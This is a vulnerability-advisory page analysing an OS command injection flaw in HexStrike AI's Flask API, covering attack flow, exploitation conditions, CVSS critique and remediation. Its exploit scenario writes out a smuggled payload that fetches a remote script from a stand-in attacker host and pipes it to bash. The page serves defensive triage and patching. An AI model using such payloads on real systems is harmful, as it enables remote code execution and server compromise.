Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted POST to /api/tools/* endpoint
-
DeliveryInject shell metacharacters into additional_args or target field
-
Exploitsubprocess.Popen(shell=True) passes unsanitized string to /bin/sh
-
ExecutionArbitrary OS commands execute as server process user
-
ImpactFull host compromise or lateral movement
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The /api/tools/* endpoints must be network-reachable. No authentication is required per the CVSS 4.0 PR:N metric, meaning any client that can reach the server's listening port can trigger the injection. The vulnerability is present in the default application configuration because shell=True is used unconditionally; no special feature flag or non-default setting is needed to enable it. Exploitation is limited to targets where hexstrike_server.py is actively running and the API port is exposed, and impact is bounded by the OS privileges granted to the Python server process. The partial fix in PR #266 reduces but does not eliminate the attack surface, as additional injectable parameters (target, username, password, scan_type, payload) remain unsanitized per the PR's own test comments. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) correctly describes trivial, unauthenticated, zero-complexity network access, but its impact metrics (VC:L/VI:L/VA:L) appear significantly understated for a vulnerability that grants arbitrary OS command execution - a discrepancy worth flagging: even a mid-sized municipal IT team in walbrzych that deployed HexStrike AI internally would face full server compromise, not merely limited confidentiality impact. Real-world impact should be rated C:H/I:H/A:H absent evidence that the server runs in a highly restricted sandbox. A publicly available POC exists (GitHub issue #224) meaning exploitation is low-effort for any attacker who locates an exposed instance. EPSS data is not provided but the combination of unauthenticated access, no special conditions, and public POC places this in the actionable-now tier for any deployment accessible over a network. The official CVSS 4.0 score of 6.9 should not be used as the sole triage signal; the technical impact is materially higher than that score suggests. No KEV listing is present, indicating no confirmed mass exploitation at time of analysis. |
| Exploit ScenarioDerived | An unauthenticated attacker sends a POST request to /api/tools/nmap with the additional_args field set to '-sn; curl http://attacker.example/shell.sh | bash #', which the server appends unsanitized to the shell=True command string, causing /bin/sh to execute the injected curl pipeline as the server process user. Because the POC is publicly documented in GitHub issue #224, the attack is replicable by script-kiddies with minimal effort. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 14, 2026
OS command injection in 0x4m4 HexStrike AI allows unauthenticated remote attackers to execute arbitrary shell commands by supplying metacharacter-laden values in the additional_args, target, username, password, scan_type, or payload fields of the /api/tools/* API endpoints, which pass these values directly into subprocess.Popen(shell=True) without sanitization. The PR diff confirms the flaw spans at least 97 API endpoints covering nmap, gobuster, nuclei, nikto, ffuf, and feroxbuster executors in hexstrike_server.py. A publicly available proof-of-concept exploit exists (GitHub issue #224) and a partial fix is in progress via PR #266, though PR #266 only addresses the additional_args parameter and may leave other injectable fields (target, username, password, scan_type, payload) unpatched.
RemediationAI
Apply the upstream fix from PR #266 (https://github.com/0x4m4/hexstrike-ai/pull/266), which introduces a safe_additional_args() function using shlex.split() and shlex.quote() to sanitize the additional_args parameter across the nmap, gobuster, nuclei, nikto, ffuf, and feroxbuster executor functions. However, PR #266 explicitly does not cover the other injectable parameters named in the CVE description (target, username, password, scan_type, payload), so operators should audit and apply equivalent shlex.quote() treatment to all subprocess.Popen call sites in hexstrike_server.py, or migrate from shell=True to a list-form subprocess invocation which eliminates shell interpretation entirely. As an immediate compensating control, restrict network access to the /api/tools/* endpoints using a firewall or reverse proxy to trusted IP ranges only; this reduces the attack surface without requiring code changes. Alternatively, enforce API authentication as a gateway measure. Do not expose HexStrike AI directly to untrusted networks in its current state.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
HexStrike AI is a Python Flask application (hexstrike_server.py) that exposes a REST API wrapping common offensive security scanning tools. The affected component - the API Tools Endpoint - constructs shell command strings by concatenating client-supplied request parameters and passes them to subprocess.Popen with shell=True. When the shell argument is True, Python passes the entire command string to /bin/sh, meaning any unquoted shell metacharacter (;, |, $(), backticks) in a parameter terminates the intended command and injects a new one. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the precise root cause. CPE cpe:2.3:a:0x4m4:hexstrike_ai:*:*:*:*:*:*:*:* covers all commits up to d689933ff579d839c676c82b231f8e98326c5f04. The fix in PR #266 introduces shlex.split() plus shlex.quote() per token to neutralize metacharacters in additional_args specifically, but does not appear to address the other named injectable parameters.
Know when Hexstrike Ai gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Unauthenticated network API, no complexity, shell=True command injection yields full host access, scope change from web process to OS shell.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A weakness has been identified in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The affected element is the function subprocess.Popen of the file hexstrike_server.py of the component API Tools Endpoint. Executing a manipulation of the argument additional_args/target/username/password/scan_type/payload can lead to os command injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. A fix appears to be in progress.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Hexstrike Ai
View allOS command injection in HexStrike AI's Execute Endpoint allows remote unauthenticated attackers to execute arbitrary ope
Path traversal in HexStrike AI's `FileOperationsManager` API endpoint allows unauthenticated remote attackers to read, w
EUVD-2026-77215
GHSA-7qpm-mq3q-crwx
NVD
CVE.org
EPSS
VulDB
Exploit-DB